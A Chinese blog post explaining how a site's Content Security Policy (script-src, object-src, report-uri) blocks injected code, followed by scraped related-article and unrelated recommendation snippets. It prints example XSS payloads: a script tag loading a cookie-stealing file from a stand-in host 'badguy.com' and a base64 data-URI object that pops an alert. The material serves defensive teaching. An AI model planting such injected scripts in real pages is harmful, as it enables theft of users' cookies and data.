网页入侵最后一道防线:CSP内容安全策略
首先,什么是最后一道防线?
网页入侵都有一个过程,简单来说,就是1.代码注入,2.代码执行。
对于黑客来说,代码注入后并不代表就万事大吉了,因为此时代码只是安静地躺在受害者的服务器里,什么坏事都没干呢!
所以必须要有代码执行这一步。
今天要讲的,就是如何阻止恶意代码的执行。
恶意代码的执行方式1:inline script
比如我的某个网站 example.com 被注入了恶意代码了,这段代码长这样:
<script src="badguy.com/steal-your-cookies.js"></script>
这段代码会从一个叫 badguy.com 的网站加载一个 js 脚本文件并执行。只要这段代码被执行了,用户的一些信息就会被窃取。
恶意代码的执行方式2:Data URI scheme
Data URI scheme 设计的初衷是为了把一些小的资源,比如图片,直接嵌入到 HTML 中,避免了额外的加载。
比如,传统的图片代码是这样的:
<img src="example.com/1.jpg" />
这种加载会额外消耗网络带宽,并增加网页的响应时间
现在可以这样做:
<img src="data:image/gif;base64,编码数据" />
这样的话,只要加载一次,就可以显示图片了。
不过,这种方式可以被利用来执行JS代码!
比如,黑客只要注入下面这段看起来人畜无害的代码,用户一打开网页,就会……boom!(好吧,其实就是弹出个对话框,调戏下用户)
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgibmkgc2hpIFNCIG1hPyIpPC9zY3JpcHQ+"></object>
当然恶意代码执行的方式多种多样,这里就不一一列举了,大家有个概念即可。
防止代码执行的内容安全策略:CSP
CSP是 Content-Security-Policy 缩写,基本作用是建立一套白名单,所有在白名单之外的代码都不允许执行。
CSP 应用一:拒绝执行第三方域名的脚本
Content-Security-Policy: script-src 'self'
如此一来,例1中的 steal-your-cookies.js 脚本便不会被加载,更不会被执行了。
CSP 应用二:拒绝执行 Data URI Scheme
Content-Security-Policy: object-src 'none'
如此一来,例2中的 base64 编码后的代码就无法被执行了。
但是,除了 object 标签外,img 标签也是可以执行 base64 代码的,除了 img,还有 media, frame 等……
CSP 应用三:向管理员主动报告入侵情况
Content-Security-Policy: report-uri http://example.com/report.php
在 CSP 策略中加入 report-uri 指令,即可向特定网址发送当前网页里任何违反 CSP 策略的情况。如此一来,管理员便可以知道自己的网站是否被入侵了。
接下来是广告时间:
我的简书:http://www.jianshu.com/u/0708...
我的知乎:https://www.zhihu.com/people/...
我的公众号:OutOfRange
有事欢迎骚扰 ~
网页入侵最后一道防线:CSP内容安全策略的更多相关文章
- 【XSS】再谈CSP内容安全策略
再谈CSP内容安全策略 之前每次都是想的很浅,或者只是个理论派,事实证明就是得动手实践 参考 CSP的用法 官方文档 通过设置属性来告诉浏览器允许加载的资源数据来源.可通过Response响应头来设置 ...
- aspnet core2中使用csp内容安全策略
aspnet core2中使用csp内容安全策略 问题:aspnet core2如何使用csp防止xss的攻击 方法: public void ConfigureServices( IServiceC ...
- Content Security Policy (CSP)内容安全策略
CSP简介 Content Security Policy(CSP),内容(网页)安全策略,为了缓解潜在的跨站脚本问题(XSS攻击),浏览器的扩展程序系统引入了内容安全策略(CSP)这个概念. CSP ...
- CSP内容安全策略总结及如何抵御 XSS 攻击
跨域脚本攻击 XSS 是最常见.危害最大的网页安全漏洞.为了防止它们,要采取很多编程措施,非常麻烦.很多人提出,能不能根本上解决问题,浏览器自动禁止外部注入恶意脚本?这就是"网页安全政策&q ...
- CSP内容安全策略
在浏览网页的过程中,尤其是移动端的网页,经常看到有很多无关的广告,其实大部分广告都是所在的网络劫持了网站响应的内容,并在其中植入了广告代码.为了防止这种情况发生,我们可以使用CSP来快速的阻止这种广告 ...
- Content Security Policy (CSP)内容安全策略总结
跨域脚本攻击 XSS 是最常见.危害最大的网页安全漏洞. 为了防止它们,要采取很多编程措施,非常麻烦.很多人提出,能不能根本上解决问题,浏览器自动禁止外部注入恶意脚本?这就是"网页安全政策& ...
- 安全 - 内容安全策略(CSP)(未完)
威胁 跨站脚本攻击(Cross-site scripting) 跨站脚本攻击Cross-site scripting (XSS)是一种安全漏洞,攻击者可以利用这种漏洞在网站上注入恶意的客户端代码. 攻 ...
- 内容安全策略(CSP)详解
1.背景 1.1.同源策略 网站的安全模式源于"同源策略",web浏览器允许第一个web页面中的脚本访问页面中的数据,但前提是两个web页面具有相同的源.此策略防止一个页面的恶意脚 ...
- 内容安全策略(CSP)
内容安全策略(CSP),其核心思想十分简单:网站通过发送一个 CSP 头部,来告诉浏览器什么是被授权执行的与什么是需要被禁止的.其被誉为专门为解决XSS攻击而生的神器. 1.CSP是什么 CSP指的是 ...
随机推荐
- ModelSerializer补充及ListSerializer
整体单改 路由层.模型层.序列化层不需要做修改,只需要处理视图层:views.py """ 1) 单整体改,说明前台要提供修改的数据,那么数据就需要校验,校验的数据应该在 ...
- BeagleboneBlack上u-boot的MLO文件是哪里来的
在玩BeagleboneBlack一段时间之后不可避免地接触到了u-boot,之前的玩耍过程大致上是这样的: 在MATLAB下耍,因为MATLAB提供了它的硬件支持,可以直接在命令行与之交互,也可在s ...
- string判断是否是正常的ip格式
废话不多说,上代码 bool isCurrectIP(char *ip) { if (ip == NULL) { return false; } char temp[4]; int count = 0 ...
- LTE-U/LAA
将LTE扩展至非授权频谱,得益于一个稳健的无线电通信线路,具有更好协调性的同步节点,以及以授权频谱为基点的载波聚合,LTE-U/LAA能提供比载波Wi-Fi更佳的网络性能和更强的用户体验,为移动运营商 ...
- PolarDB阿里初赛问题记录 PolarDB 阿里 中间件 比赛 性能 工程手册
Contents 这篇纯碎是碎碎念记录. 每个value都是4KB,总共最多会写6400W个value,算下来就是64 * 1000 * 1000 * 4 * 1024 Bytes ≈ 256G. 每 ...
- 吴裕雄--天生自然python学习笔记:爬取我国 1990 年到 2017年 GDP 数据并绘图显示
绘制图形所需的数据源通常是不固定的,比如,有时我们会需要从网页抓取, 也可能需从文件或数据库中获取. 利用抓取网页数据技术,把我国 1990 年到 2016 年的 GDP 数据抓取出来 ,再利用 Ma ...
- python3下scrapy爬虫(第十卷:scrapy数据存储进mysql)
上一卷中我将爬取的数据文件直接写入文本文件中,现在我将数据存储到mysql中,我依然用的是pymysql,这个很麻烦建表需要在外面建 这次代码只需要改变pipyline就行 来 现在看下结果: 对比发 ...
- Eclipse创建java web工程
Eclipse创建java web工程 eclipse版本:eclipse-jee-4.5-win32-x64 tomcat版本:apache-tomcat-7.0.63-windows-x64 jd ...
- spring顾问包装通知
前边说到了顾问就是通知,没有实践,这里就实践一下,证明一下. 虽然可以说顾问就是通知,但是他们还是有的一定的区别的,通知是将目标类中所有的方法都进行的增强,而顾问却可以指定到特定的方法上,也就是说顾问 ...
- JavaScript学习总结(三)BOM和DOM详解
转自:http://segmentfault.com/a/1190000000654274 DOM介绍 D(文档)可以理解为整个Web加载的网页文档,O(对象)可以理解为类似window对象只来的东西 ...